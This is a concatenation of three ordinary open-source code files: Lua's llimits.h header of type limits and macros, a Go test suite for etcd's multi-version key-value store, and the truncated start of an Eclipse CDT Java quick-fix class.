/* ** $Id: llimits.h,v 1.135 2015/06/09 14:21:00 roberto Exp $ ** Limits, basic types, and some other 'installation-dependent' definitions ** See Copyright Notice in lua.h */ #ifndef llimits_h #define llimits_h #include <limits.h> #include <stddef.h> #include "lua.h" /* ** 'lu_mem' and 'l_mem' are unsigned/signed integers big enough to count ** the total memory used by Lua (in bytes). Usually, 'size_t' and ** 'ptrdiff_t' should work, but we use 'long' for 16-bit machines. */ #if defined(LUAI_MEM) /* { external definitions? */ typedef LUAI_UMEM lu_mem; typedef LUAI_MEM l_mem; #elif LUAI_BITSINT >= 32 /* }{ */ typedef size_t lu_mem; typedef ptrdiff_t l_mem; #else /* 16-bit ints */ /* }{ */ typedef unsigned long lu_mem; typedef long l_mem; #endif /* } */ /* chars used as small naturals (so that 'char' is reserved for characters) */ typedef unsigned char lu_byte; /* maximum value for size_t */ #define MAX_SIZET ((size_t)(~(size_t)0)) /* maximum size visible for Lua (must be representable in a lua_Integer */ #define MAX_SIZE (sizeof(size_t) < sizeof(lua_Integer) ? MAX_SIZET \ : (size_t)(LUA_MAXINTEGER)) #define MAX_LUMEM ((lu_mem)(~(lu_mem)0)) #define MAX_LMEM ((l_mem)(MAX_LUMEM >> 1)) #define MAX_INT INT_MAX /* maximum value of an int */ /* ** conversion of pointer to unsigned integer: ** this is for hashing only; there is no problem if the integer ** cannot hold the whole pointer value */ #define point2uint(p) ((unsigned int)((size_t)(p) & UINT_MAX)) /* type to ensure maximum alignment */ #if defined(LUAI_USER_ALIGNMENT_T) typedef LUAI_USER_ALIGNMENT_T L_Umaxalign; #else typedef union { double u; void *s; lua_Integer i; long l; } L_Umaxalign; #endif /* types of 'usual argument conversions' for lua_Number and lua_Integer */ typedef LUAI_UACNUMBER l_uacNumber; typedef LUAI_UACINT l_uacInt; /* internal assertions for in-house debugging */ #if defined(lua_assert) #define check_exp(c,e) (lua_assert(c), (e)) /* to avoid problems with conditions too long */ #define lua_longassert(c) { if (!(c)) lua_assert(0); } #else #define lua_assert(c) ((void)0) #define check_exp(c,e) (e) #define lua_longassert(c) ((void)0) #endif /* ** assertion for checking API calls */ #if !defined(luai_apicheck) #define luai_apicheck(l,e) lua_assert(e) #endif #define api_check(l,e,msg) luai_apicheck(l,(e) && msg) /* macro to avoid warnings about unused variables */ #if !defined(UNUSED) #define UNUSED(x) ((void)(x)) #endif /* type casts (a macro highlights casts in the code) */ #define cast(t, exp) ((t)(exp)) #define cast_void(i) cast(void, (i)) #define cast_byte(i) cast(lu_byte, (i)) #define cast_num(i) cast(lua_Number, (i)) #define cast_int(i) cast(int, (i)) #define cast_uchar(i) cast(unsigned char, (i)) /* cast a signed lua_Integer to lua_Unsigned */ #if !defined(l_castS2U) #define l_castS2U(i) ((lua_Unsigned)(i)) #endif /* ** cast a lua_Unsigned to a signed lua_Integer; this cast is ** not strict ISO C, but two-complement architectures should ** work fine. */ #if !defined(l_castU2S) #define l_castU2S(i) ((lua_Integer)(i)) #endif /* ** non-return type */ #if defined(__GNUC__) #define l_noret void __attribute__((noreturn)) #elif defined(_MSC_VER) && _MSC_VER >= 1200 #define l_noret void __declspec(noreturn) #else #define l_noret void #endif /* ** maximum depth for nested C calls and syntactical nested non-terminals ** in a program. (Value must fit in an unsigned short int.) */ #if !defined(LUAI_MAXCCALLS) #define LUAI_MAXCCALLS 200 #endif /* ** type for virtual-machine instructions; ** must be an unsigned with (at least) 4 bytes (see details in lopcodes.h) */ #if LUAI_BITSINT >= 32 typedef unsigned int Instruction; #else typedef unsigned long Instruction; #endif /* ** Maximum length for short strings, that is, strings that are ** internalized. (Cannot be smaller than reserved words or tags for ** metamethods, as these strings must be internalized; ** #("function") = 8, #("__newindex") = 10.) */ #if !defined(LUAI_MAXSHORTLEN) #define LUAI_MAXSHORTLEN 40 #endif /* ** Initial size for the string table (must be power of 2). ** The Lua core alone registers ~50 strings (reserved words + ** metaevent keys + a few others). Libraries would typically add ** a few dozens more. */ #if !defined(MINSTRTABSIZE) #define MINSTRTABSIZE 128 #endif /* ** Size of cache for strings in the API (better be a prime) */ #if !defined(STRCACHE_SIZE) #define STRCACHE_SIZE 127 #endif /* minimum size for string buffer */ #if !defined(LUA_MINBUFFER) #define LUA_MINBUFFER 32 #endif /* ** macros that are executed whenether program enters the Lua core ** ('lua_lock') and leaves the core ('lua_unlock') */ #if !defined(lua_lock) #define lua_lock(L) ((void) 0) #define lua_unlock(L) ((void) 0) #endif /* ** macro executed during Lua functions at points where the ** function can yield. */ #if !defined(luai_threadyield) #define luai_threadyield(L) {lua_unlock(L); lua_lock(L);} #endif /* ** these macros allow user-specific actions on threads when you defined ** LUAI_EXTRASPACE and need to do something extra when a thread is ** created/deleted/resumed/yielded. */ #if !defined(luai_userstateopen) #define luai_userstateopen(L) ((void)L) #endif #if !defined(luai_userstateclose) #define luai_userstateclose(L) ((void)L) #endif #if !defined(luai_userstatethread) #define luai_userstatethread(L,L1) ((void)L) #endif #if !defined(luai_userstatefree) #define luai_userstatefree(L,L1) ((void)L) #endif #if !defined(luai_userstateresume) #define luai_userstateresume(L,n) ((void)L) #endif #if !defined(luai_userstateyield) #define luai_userstateyield(L,n) ((void)L) #endif /* ** The luai_num* macros define the primitive operations over numbers. */ /* floor division (defined as 'floor(a/b)') */ #if !defined(luai_numidiv) #define luai_numidiv(L,a,b) ((void)L, l_floor(luai_numdiv(L,a,b))) #endif /* float division */ #if !defined(luai_numdiv) #define luai_numdiv(L,a,b) ((a)/(b)) #endif /* ** modulo: defined as 'a - floor(a/b)*b'; this definition gives NaN when ** 'b' is huge, but the result should be 'a'. 'fmod' gives the result of ** 'a - trunc(a/b)*b', and therefore must be corrected when 'trunc(a/b) ** ~= floor(a/b)'. That happens when the division has a non-integer ** negative result, which is equivalent to the test below. */ #if !defined(luai_nummod) #define luai_nummod(L,a,b,m) \ { (m) = l_mathop(fmod)(a,b); if ((m)*(b) < 0) (m) += (b); } #endif /* exponentiation */ #if !defined(luai_numpow) #define luai_numpow(L,a,b) ((void)L, l_mathop(pow)(a,b)) #endif /* the others are quite standard operations */ #if !defined(luai_numadd) #define luai_numadd(L,a,b) ((a)+(b)) #define luai_numsub(L,a,b) ((a)-(b)) #define luai_nummul(L,a,b) ((a)*(b)) #define luai_numunm(L,a) (-(a)) #define luai_numeq(a,b) ((a)==(b)) #define luai_numlt(a,b) ((a)<(b)) #define luai_numle(a,b) ((a)<=(b)) #define luai_numisnan(a) (!luai_numeq((a), (a))) #endif /* ** macro to control inclusion of some hard tests on stack reallocation */ #if !defined(HARDSTACKTESTS) #define condmovestack(L) ((void)0) #else /* realloc stack keeping its size */ #define condmovestack(L) luaD_reallocstack((L), (L)->stacksize) #endif #if !defined(HARDMEMTESTS) #define condchangemem(L) condmovestack(L) #else #define condchangemem(L) \ ((void)(!(G(L)->gcrunning) || (luaC_fullgc(L, 0), 1))) #endif #endif
{ "pile_set_name": "Github" }
// Copyright 2015 The etcd Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package mvcc import ( "fmt" "os" "reflect" "testing" "time" "github.com/coreos/etcd/lease" "github.com/coreos/etcd/mvcc/backend" "github.com/coreos/etcd/mvcc/mvccpb" "github.com/coreos/etcd/pkg/testutil" "github.com/prometheus/client_golang/prometheus" dto "github.com/prometheus/client_model/go" ) // Functional tests for features implemented in v3 store. It treats v3 store // as a black box, and tests it by feeding the input and validating the output. // TODO: add similar tests on operations in one txn/rev type ( rangeFunc func(kv KV, key, end []byte, ro RangeOptions) (*RangeResult, error) putFunc func(kv KV, key, value []byte, lease lease.LeaseID) int64 deleteRangeFunc func(kv KV, key, end []byte) (n, rev int64) ) var ( normalRangeFunc = func(kv KV, key, end []byte, ro RangeOptions) (*RangeResult, error) { return kv.Range(key, end, ro) } txnRangeFunc = func(kv KV, key, end []byte, ro RangeOptions) (*RangeResult, error) { txn := kv.Read() defer txn.End() return txn.Range(key, end, ro) } normalPutFunc = func(kv KV, key, value []byte, lease lease.LeaseID) int64 { return kv.Put(key, value, lease) } txnPutFunc = func(kv KV, key, value []byte, lease lease.LeaseID) int64 { txn := kv.Write() defer txn.End() return txn.Put(key, value, lease) } normalDeleteRangeFunc = func(kv KV, key, end []byte) (n, rev int64) { return kv.DeleteRange(key, end) } txnDeleteRangeFunc = func(kv KV, key, end []byte) (n, rev int64) { txn := kv.Write() defer txn.End() return txn.DeleteRange(key, end) } ) func TestKVRange(t *testing.T) { testKVRange(t, normalRangeFunc) } func TestKVTxnRange(t *testing.T) { testKVRange(t, txnRangeFunc) } func testKVRange(t *testing.T, f rangeFunc) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) kvs := put3TestKVs(s) wrev := int64(4) tests := []struct { key, end []byte wkvs []mvccpb.KeyValue }{ // get no keys { []byte("doo"), []byte("foo"), nil, }, // get no keys when key == end { []byte("foo"), []byte("foo"), nil, }, // get no keys when ranging single key { []byte("doo"), nil, nil, }, // get all keys { []byte("foo"), []byte("foo3"), kvs, }, // get partial keys { []byte("foo"), []byte("foo1"), kvs[:1], }, // get single key { []byte("foo"), nil, kvs[:1], }, // get entire keyspace { []byte(""), []byte(""), kvs, }, } for i, tt := range tests { r, err := f(s, tt.key, tt.end, RangeOptions{}) if err != nil { t.Fatal(err) } if r.Rev != wrev { t.Errorf("#%d: rev = %d, want %d", i, r.Rev, wrev) } if !reflect.DeepEqual(r.KVs, tt.wkvs) { t.Errorf("#%d: kvs = %+v, want %+v", i, r.KVs, tt.wkvs) } } } func TestKVRangeRev(t *testing.T) { testKVRangeRev(t, normalRangeFunc) } func TestKVTxnRangeRev(t *testing.T) { testKVRangeRev(t, txnRangeFunc) } func testKVRangeRev(t *testing.T, f rangeFunc) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) kvs := put3TestKVs(s) tests := []struct { rev int64 wrev int64 wkvs []mvccpb.KeyValue }{ {-1, 4, kvs}, {0, 4, kvs}, {2, 4, kvs[:1]}, {3, 4, kvs[:2]}, {4, 4, kvs}, } for i, tt := range tests { r, err := f(s, []byte("foo"), []byte("foo3"), RangeOptions{Rev: tt.rev}) if err != nil { t.Fatal(err) } if r.Rev != tt.wrev { t.Errorf("#%d: rev = %d, want %d", i, r.Rev, tt.wrev) } if !reflect.DeepEqual(r.KVs, tt.wkvs) { t.Errorf("#%d: kvs = %+v, want %+v", i, r.KVs, tt.wkvs) } } } func TestKVRangeBadRev(t *testing.T) { testKVRangeBadRev(t, normalRangeFunc) } func TestKVTxnRangeBadRev(t *testing.T) { testKVRangeBadRev(t, txnRangeFunc) } func testKVRangeBadRev(t *testing.T, f rangeFunc) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) put3TestKVs(s) if _, err := s.Compact(4); err != nil { t.Fatalf("compact error (%v)", err) } tests := []struct { rev int64 werr error }{ {-1, nil}, // <= 0 is most recent store {0, nil}, {1, ErrCompacted}, {2, ErrCompacted}, {4, nil}, {5, ErrFutureRev}, {100, ErrFutureRev}, } for i, tt := range tests { _, err := f(s, []byte("foo"), []byte("foo3"), RangeOptions{Rev: tt.rev}) if err != tt.werr { t.Errorf("#%d: error = %v, want %v", i, err, tt.werr) } } } func TestKVRangeLimit(t *testing.T) { testKVRangeLimit(t, normalRangeFunc) } func TestKVTxnRangeLimit(t *testing.T) { testKVRangeLimit(t, txnRangeFunc) } func testKVRangeLimit(t *testing.T, f rangeFunc) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) kvs := put3TestKVs(s) wrev := int64(4) tests := []struct { limit int64 wkvs []mvccpb.KeyValue }{ // no limit {-1, kvs}, // no limit {0, kvs}, {1, kvs[:1]}, {2, kvs[:2]}, {3, kvs}, {100, kvs}, } for i, tt := range tests { r, err := f(s, []byte("foo"), []byte("foo3"), RangeOptions{Limit: tt.limit}) if err != nil { t.Fatalf("#%d: range error (%v)", i, err) } if !reflect.DeepEqual(r.KVs, tt.wkvs) { t.Errorf("#%d: kvs = %+v, want %+v", i, r.KVs, tt.wkvs) } if r.Rev != wrev { t.Errorf("#%d: rev = %d, want %d", i, r.Rev, wrev) } if r.Count != len(kvs) { t.Errorf("#%d: count = %d, want %d", i, r.Count, len(kvs)) } } } func TestKVPutMultipleTimes(t *testing.T) { testKVPutMultipleTimes(t, normalPutFunc) } func TestKVTxnPutMultipleTimes(t *testing.T) { testKVPutMultipleTimes(t, txnPutFunc) } func testKVPutMultipleTimes(t *testing.T, f putFunc) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) for i := 0; i < 10; i++ { base := int64(i + 1) rev := f(s, []byte("foo"), []byte("bar"), lease.LeaseID(base)) if rev != base+1 { t.Errorf("#%d: rev = %d, want %d", i, rev, base+1) } r, err := s.Range([]byte("foo"), nil, RangeOptions{}) if err != nil { t.Fatal(err) } wkvs := []mvccpb.KeyValue{ {Key: []byte("foo"), Value: []byte("bar"), CreateRevision: 2, ModRevision: base + 1, Version: base, Lease: base}, } if !reflect.DeepEqual(r.KVs, wkvs) { t.Errorf("#%d: kvs = %+v, want %+v", i, r.KVs, wkvs) } } } func TestKVDeleteRange(t *testing.T) { testKVDeleteRange(t, normalDeleteRangeFunc) } func TestKVTxnDeleteRange(t *testing.T) { testKVDeleteRange(t, txnDeleteRangeFunc) } func testKVDeleteRange(t *testing.T, f deleteRangeFunc) { tests := []struct { key, end []byte wrev int64 wN int64 }{ { []byte("foo"), nil, 5, 1, }, { []byte("foo"), []byte("foo1"), 5, 1, }, { []byte("foo"), []byte("foo2"), 5, 2, }, { []byte("foo"), []byte("foo3"), 5, 3, }, { []byte("foo3"), []byte("foo8"), 4, 0, }, { []byte("foo3"), nil, 4, 0, }, } for i, tt := range tests { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) s.Put([]byte("foo"), []byte("bar"), lease.NoLease) s.Put([]byte("foo1"), []byte("bar1"), lease.NoLease) s.Put([]byte("foo2"), []byte("bar2"), lease.NoLease) n, rev := f(s, tt.key, tt.end) if n != tt.wN || rev != tt.wrev { t.Errorf("#%d: n = %d, rev = %d, want (%d, %d)", i, n, rev, tt.wN, tt.wrev) } cleanup(s, b, tmpPath) } } func TestKVDeleteMultipleTimes(t *testing.T) { testKVDeleteMultipleTimes(t, normalDeleteRangeFunc) } func TestKVTxnDeleteMultipleTimes(t *testing.T) { testKVDeleteMultipleTimes(t, txnDeleteRangeFunc) } func testKVDeleteMultipleTimes(t *testing.T, f deleteRangeFunc) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) s.Put([]byte("foo"), []byte("bar"), lease.NoLease) n, rev := f(s, []byte("foo"), nil) if n != 1 || rev != 3 { t.Fatalf("n = %d, rev = %d, want (%d, %d)", n, rev, 1, 3) } for i := 0; i < 10; i++ { n, rev := f(s, []byte("foo"), nil) if n != 0 || rev != 3 { t.Fatalf("#%d: n = %d, rev = %d, want (%d, %d)", i, n, rev, 0, 3) } } } // test that range, put, delete on single key in sequence repeatedly works correctly. func TestKVOperationInSequence(t *testing.T) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) for i := 0; i < 10; i++ { base := int64(i*2 + 1) // put foo rev := s.Put([]byte("foo"), []byte("bar"), lease.NoLease) if rev != base+1 { t.Errorf("#%d: put rev = %d, want %d", i, rev, base+1) } r, err := s.Range([]byte("foo"), nil, RangeOptions{Rev: base + 1}) if err != nil { t.Fatal(err) } wkvs := []mvccpb.KeyValue{ {Key: []byte("foo"), Value: []byte("bar"), CreateRevision: base + 1, ModRevision: base + 1, Version: 1, Lease: int64(lease.NoLease)}, } if !reflect.DeepEqual(r.KVs, wkvs) { t.Errorf("#%d: kvs = %+v, want %+v", i, r.KVs, wkvs) } if r.Rev != base+1 { t.Errorf("#%d: range rev = %d, want %d", i, rev, base+1) } // delete foo n, rev := s.DeleteRange([]byte("foo"), nil) if n != 1 || rev != base+2 { t.Errorf("#%d: n = %d, rev = %d, want (%d, %d)", i, n, rev, 1, base+2) } r, err = s.Range([]byte("foo"), nil, RangeOptions{Rev: base + 2}) if err != nil { t.Fatal(err) } if r.KVs != nil { t.Errorf("#%d: kvs = %+v, want %+v", i, r.KVs, nil) } if r.Rev != base+2 { t.Errorf("#%d: range rev = %d, want %d", i, r.Rev, base+2) } } } func TestKVTxnBlockWriteOperations(t *testing.T) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) tests := []func(){ func() { s.Put([]byte("foo"), nil, lease.NoLease) }, func() { s.DeleteRange([]byte("foo"), nil) }, } for i, tt := range tests { txn := s.Write() done := make(chan struct{}, 1) go func() { tt() done <- struct{}{} }() select { case <-done: t.Fatalf("#%d: operation failed to be blocked", i) case <-time.After(10 * time.Millisecond): } txn.End() select { case <-done: case <-time.After(10 * time.Second): testutil.FatalStack(t, fmt.Sprintf("#%d: operation failed to be unblocked", i)) } } // only close backend when we know all the tx are finished cleanup(s, b, tmpPath) } func TestKVTxnNonBlockRange(t *testing.T) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) txn := s.Write() defer txn.End() donec := make(chan struct{}) go func() { defer close(donec) s.Range([]byte("foo"), nil, RangeOptions{}) }() select { case <-donec: case <-time.After(100 * time.Millisecond): t.Fatalf("range operation blocked on write txn") } } // test that txn range, put, delete on single key in sequence repeatedly works correctly. func TestKVTxnOperationInSequence(t *testing.T) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) for i := 0; i < 10; i++ { txn := s.Write() base := int64(i + 1) // put foo rev := txn.Put([]byte("foo"), []byte("bar"), lease.NoLease) if rev != base+1 { t.Errorf("#%d: put rev = %d, want %d", i, rev, base+1) } r, err := txn.Range([]byte("foo"), nil, RangeOptions{Rev: base + 1}) if err != nil { t.Fatal(err) } wkvs := []mvccpb.KeyValue{ {Key: []byte("foo"), Value: []byte("bar"), CreateRevision: base + 1, ModRevision: base + 1, Version: 1, Lease: int64(lease.NoLease)}, } if !reflect.DeepEqual(r.KVs, wkvs) { t.Errorf("#%d: kvs = %+v, want %+v", i, r.KVs, wkvs) } if r.Rev != base+1 { t.Errorf("#%d: range rev = %d, want %d", i, r.Rev, base+1) } // delete foo n, rev := txn.DeleteRange([]byte("foo"), nil) if n != 1 || rev != base+1 { t.Errorf("#%d: n = %d, rev = %d, want (%d, %d)", i, n, rev, 1, base+1) } r, err = txn.Range([]byte("foo"), nil, RangeOptions{Rev: base + 1}) if err != nil { t.Errorf("#%d: range error (%v)", i, err) } if r.KVs != nil { t.Errorf("#%d: kvs = %+v, want %+v", i, r.KVs, nil) } if r.Rev != base+1 { t.Errorf("#%d: range rev = %d, want %d", i, r.Rev, base+1) } txn.End() } } func TestKVCompactReserveLastValue(t *testing.T) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) s.Put([]byte("foo"), []byte("bar0"), 1) s.Put([]byte("foo"), []byte("bar1"), 2) s.DeleteRange([]byte("foo"), nil) s.Put([]byte("foo"), []byte("bar2"), 3) // rev in tests will be called in Compact() one by one on the same store tests := []struct { rev int64 // wanted kvs right after the compacted rev wkvs []mvccpb.KeyValue }{ { 1, []mvccpb.KeyValue{ {Key: []byte("foo"), Value: []byte("bar0"), CreateRevision: 2, ModRevision: 2, Version: 1, Lease: 1}, }, }, { 2, []mvccpb.KeyValue{ {Key: []byte("foo"), Value: []byte("bar1"), CreateRevision: 2, ModRevision: 3, Version: 2, Lease: 2}, }, }, { 3, nil, }, { 4, []mvccpb.KeyValue{ {Key: []byte("foo"), Value: []byte("bar2"), CreateRevision: 5, ModRevision: 5, Version: 1, Lease: 3}, }, }, } for i, tt := range tests { _, err := s.Compact(tt.rev) if err != nil { t.Errorf("#%d: unexpect compact error %v", i, err) } r, err := s.Range([]byte("foo"), nil, RangeOptions{Rev: tt.rev + 1}) if err != nil { t.Errorf("#%d: unexpect range error %v", i, err) } if !reflect.DeepEqual(r.KVs, tt.wkvs) { t.Errorf("#%d: kvs = %+v, want %+v", i, r.KVs, tt.wkvs) } } } func TestKVCompactBad(t *testing.T) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) s.Put([]byte("foo"), []byte("bar0"), lease.NoLease) s.Put([]byte("foo"), []byte("bar1"), lease.NoLease) s.Put([]byte("foo"), []byte("bar2"), lease.NoLease) // rev in tests will be called in Compact() one by one on the same store tests := []struct { rev int64 werr error }{ {0, nil}, {1, nil}, {1, ErrCompacted}, {4, nil}, {5, ErrFutureRev}, {100, ErrFutureRev}, } for i, tt := range tests { _, err := s.Compact(tt.rev) if err != tt.werr { t.Errorf("#%d: compact error = %v, want %v", i, err, tt.werr) } } } func TestKVHash(t *testing.T) { hashes := make([]uint32, 3) for i := 0; i < len(hashes); i++ { var err error b, tmpPath := backend.NewDefaultTmpBackend() kv := NewStore(b, &lease.FakeLessor{}, nil) kv.Put([]byte("foo0"), []byte("bar0"), lease.NoLease) kv.Put([]byte("foo1"), []byte("bar0"), lease.NoLease) hashes[i], _, err = kv.Hash() if err != nil { t.Fatalf("failed to get hash: %v", err) } cleanup(kv, b, tmpPath) } for i := 1; i < len(hashes); i++ { if hashes[i-1] != hashes[i] { t.Errorf("hash[%d](%d) != hash[%d](%d)", i-1, hashes[i-1], i, hashes[i]) } } } func TestKVRestore(t *testing.T) { tests := []func(kv KV){ func(kv KV) { kv.Put([]byte("foo"), []byte("bar0"), 1) kv.Put([]byte("foo"), []byte("bar1"), 2) kv.Put([]byte("foo"), []byte("bar2"), 3) kv.Put([]byte("foo2"), []byte("bar0"), 1) }, func(kv KV) { kv.Put([]byte("foo"), []byte("bar0"), 1) kv.DeleteRange([]byte("foo"), nil) kv.Put([]byte("foo"), []byte("bar1"), 2) }, func(kv KV) { kv.Put([]byte("foo"), []byte("bar0"), 1) kv.Put([]byte("foo"), []byte("bar1"), 2) kv.Compact(1) }, } for i, tt := range tests { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) tt(s) var kvss [][]mvccpb.KeyValue for k := int64(0); k < 10; k++ { r, _ := s.Range([]byte("a"), []byte("z"), RangeOptions{Rev: k}) kvss = append(kvss, r.KVs) } keysBefore := readGaugeInt(&keysGauge) s.Close() // ns should recover the the previous state from backend. ns := NewStore(b, &lease.FakeLessor{}, nil) if keysRestore := readGaugeInt(&keysGauge); keysBefore != keysRestore { t.Errorf("#%d: got %d key count, expected %d", i, keysRestore, keysBefore) } // wait for possible compaction to finish testutil.WaitSchedule() var nkvss [][]mvccpb.KeyValue for k := int64(0); k < 10; k++ { r, _ := ns.Range([]byte("a"), []byte("z"), RangeOptions{Rev: k}) nkvss = append(nkvss, r.KVs) } cleanup(ns, b, tmpPath) if !reflect.DeepEqual(nkvss, kvss) { t.Errorf("#%d: kvs history = %+v, want %+v", i, nkvss, kvss) } } } func readGaugeInt(g *prometheus.Gauge) int { ch := make(chan prometheus.Metric, 1) keysGauge.Collect(ch) m := <-ch mm := &dto.Metric{} m.Write(mm) return int(mm.GetGauge().GetValue()) } func TestKVSnapshot(t *testing.T) { b, tmpPath := backend.NewDefaultTmpBackend() s := NewStore(b, &lease.FakeLessor{}, nil) defer cleanup(s, b, tmpPath) wkvs := put3TestKVs(s) newPath := "new_test" f, err := os.Create(newPath) if err != nil { t.Fatal(err) } defer os.Remove(newPath) snap := s.b.Snapshot() defer snap.Close() _, err = snap.WriteTo(f) if err != nil { t.Fatal(err) } f.Close() ns := NewStore(b, &lease.FakeLessor{}, nil) defer ns.Close() r, err := ns.Range([]byte("a"), []byte("z"), RangeOptions{}) if err != nil { t.Errorf("unexpect range error (%v)", err) } if !reflect.DeepEqual(r.KVs, wkvs) { t.Errorf("kvs = %+v, want %+v", r.KVs, wkvs) } if r.Rev != 4 { t.Errorf("rev = %d, want %d", r.Rev, 4) } } func TestWatchableKVWatch(t *testing.T) { b, tmpPath := backend.NewDefaultTmpBackend() s := WatchableKV(newWatchableStore(b, &lease.FakeLessor{}, nil)) defer cleanup(s, b, tmpPath) w := s.NewWatchStream() defer w.Close() wid := w.Watch([]byte("foo"), []byte("fop"), 0) wev := []mvccpb.Event{ {Type: mvccpb.PUT, Kv: &mvccpb.KeyValue{ Key: []byte("foo"), Value: []byte("bar"), CreateRevision: 2, ModRevision: 2, Version: 1, Lease: 1, }, }, { Type: mvccpb.PUT, Kv: &mvccpb.KeyValue{ Key: []byte("foo1"), Value: []byte("bar1"), CreateRevision: 3, ModRevision: 3, Version: 1, Lease: 2, }, }, { Type: mvccpb.PUT, Kv: &mvccpb.KeyValue{ Key: []byte("foo1"), Value: []byte("bar11"), CreateRevision: 3, ModRevision: 4, Version: 2, Lease: 3, }, }, } s.Put([]byte("foo"), []byte("bar"), 1) select { case resp := <-w.Chan(): if resp.WatchID != wid { t.Errorf("resp.WatchID got = %d, want = %d", resp.WatchID, wid) } ev := resp.Events[0] if !reflect.DeepEqual(ev, wev[0]) { t.Errorf("watched event = %+v, want %+v", ev, wev[0]) } case <-time.After(5 * time.Second): // CPU might be too slow, and the routine is not able to switch around testutil.FatalStack(t, "failed to watch the event") } s.Put([]byte("foo1"), []byte("bar1"), 2) select { case resp := <-w.Chan(): if resp.WatchID != wid { t.Errorf("resp.WatchID got = %d, want = %d", resp.WatchID, wid) } ev := resp.Events[0] if !reflect.DeepEqual(ev, wev[1]) { t.Errorf("watched event = %+v, want %+v", ev, wev[1]) } case <-time.After(5 * time.Second): testutil.FatalStack(t, "failed to watch the event") } w = s.NewWatchStream() wid = w.Watch([]byte("foo1"), []byte("foo2"), 3) select { case resp := <-w.Chan(): if resp.WatchID != wid { t.Errorf("resp.WatchID got = %d, want = %d", resp.WatchID, wid) } ev := resp.Events[0] if !reflect.DeepEqual(ev, wev[1]) { t.Errorf("watched event = %+v, want %+v", ev, wev[1]) } case <-time.After(5 * time.Second): testutil.FatalStack(t, "failed to watch the event") } s.Put([]byte("foo1"), []byte("bar11"), 3) select { case resp := <-w.Chan(): if resp.WatchID != wid { t.Errorf("resp.WatchID got = %d, want = %d", resp.WatchID, wid) } ev := resp.Events[0] if !reflect.DeepEqual(ev, wev[2]) { t.Errorf("watched event = %+v, want %+v", ev, wev[2]) } case <-time.After(5 * time.Second): testutil.FatalStack(t, "failed to watch the event") } } func cleanup(s KV, b backend.Backend, path string) { s.Close() b.Close() os.Remove(path) } func put3TestKVs(s KV) []mvccpb.KeyValue { s.Put([]byte("foo"), []byte("bar"), 1) s.Put([]byte("foo1"), []byte("bar1"), 2) s.Put([]byte("foo2"), []byte("bar2"), 3) return []mvccpb.KeyValue{ {Key: []byte("foo"), Value: []byte("bar"), CreateRevision: 2, ModRevision: 2, Version: 1, Lease: 1}, {Key: []byte("foo1"), Value: []byte("bar1"), CreateRevision: 3, ModRevision: 3, Version: 1, Lease: 2}, {Key: []byte("foo2"), Value: []byte("bar2"), CreateRevision: 4, ModRevision: 4, Version: 1, Lease: 3}, } }
{ "pile_set_name": "Github" }
/******************************************************************************* * Copyright (c) 2010 Tomasz Wesolowski * * This program and the accompanying materials * are made available under the terms of the Eclipse Public License 2.0 * which accompanies this distribution, and is available at * https://www.eclipse.org/legal/epl-2.0/ * * SPDX-License-Identifier: EPL-2.0 * * Contributors: * Tomasz Wesolowski - initial API and implementation *******************************************************************************/ package org.eclipse.cdt.codan.internal.checkers.ui.quickfix; import org.eclipse.cdt.codan.core.cxx.CxxAstUtils; import org.eclipse.cdt.codan.internal.checkers.ui.CheckersUiActivator; import org.eclipse.cdt.codan.ui.AbstractAstRewriteQuickFix; import org.eclipse.cdt.core.dom.ast.IASTCompositeTypeSpecifier; import org.eclipse.cdt.core.dom.ast.IASTDeclaration; import org.eclipse.cdt.core.dom.ast.IASTDeclarator; import org.eclipse.cdt.core.dom.ast.IASTFunctionDeclarator; import org.eclipse.cdt.core.dom.ast.IASTFunctionDefinition; import org.eclipse.cdt.core.dom.ast.IASTName; import org.eclipse.cdt.core.dom.ast.IASTNode; import org.eclipse.cdt.core.dom.ast.IASTTranslationUnit; import org.eclipse.cdt.core.dom.ast.cpp.ICPPASTCompositeTypeSpecifier; import org.eclipse.cdt.core.dom.ast.cpp.ICPPASTCompositeTypeSpecifier.ICPPASTBaseSpecifier; import org.eclipse.cdt.core.dom.ast.cpp.ICPPASTVisibilityLabel; import org.eclipse.cdt.core.dom.rewrite.ASTRewrite; import org.eclipse.cdt.core.index.IIndex; import org.eclipse.cdt.core.model.ITranslationUnit; import org.eclipse.core.resources.IMarker; import org.eclipse.core.runtime.CoreException; import org.eclipse.core.runtime.NullProgressMonitor; import org.eclipse.ltk.core.refactoring.Change; public class QuickFixCreateField extends AbstractAstRewriteQuickFix { @Override public String getLabel() { return QuickFixMessages.QuickFixCreateField_create_field; } @Override public void 